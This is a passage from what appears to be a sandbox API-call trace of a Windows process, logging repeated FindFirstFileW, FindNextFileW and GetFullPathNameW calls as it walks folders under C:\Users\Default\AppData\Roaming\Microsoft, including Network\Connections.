[0156.868] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0156.868] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0156.868] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0156.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0156.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0156.869] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0156.869] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.869] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3c8c01f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.869] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0156.869] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.869] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0156.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0156.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.870] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0156.870] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.870] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.870] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3c8d333, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0156.870] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0156.870] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2c416743, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c416743, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0156.870] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2c416743, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c416743, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0156.871] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0156.871] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0156.871] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.871] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.871] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3c8d333, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0156.871] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0156.871] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2c416743, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x2c416743, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0156.871] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.872] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0156.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0156.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0156.872] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x32 [0156.872] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0156.873] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0156.873] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0156.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0156.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ebb10) returned 1 [0156.873] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x202eb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network", lpFilePart=0x0) returned 0x32 [0156.874] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x202eb830 | out: lpFindFileData=0x202eb830*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.874] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.874] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0156.874] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eb7f0 | out: lpFindFileData=0x202eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.874] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba50) returned 1 [0156.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eba10) returned 1 [0156.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb0e0) returned 1 [0156.874] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x202eab80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3e [0156.875] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x202eae00 | out: lpFindFileData=0x202eae00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.875] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.875] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0156.875] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~1")) returned 1 [0156.875] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~1")) returned 0 [0156.875] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb020) returned 1 [0156.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafe0) returned 1 [0156.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202eb0e0) returned 1 [0156.876] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x202eab80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x3e [0156.876] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x202eae00 | out: lpFindFileData=0x202eae00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.876] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.876] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0156.876] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddencm", cAlternateFileName="_HIDDE~1")) returned 1 [0156.876] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202eadc0 | out: lpFindFileData=0x202eadc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0156.876] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0156.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eb020) returned 1 [0156.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eafe0) returned 1 [0156.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ea6b0) returned 1 [0156.877] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", nBufferLength=0x105, lpBuffer=0x202ea150, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm", lpFilePart=0x0) returned 0x41 [0156.877] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x202ea3d0 | out: lpFindFileData=0x202ea3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0156.877] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.877] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x202ea390 | out: lpFindFileData=0x202ea390*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2bc7808, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa2bc7808, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa2bc7808, 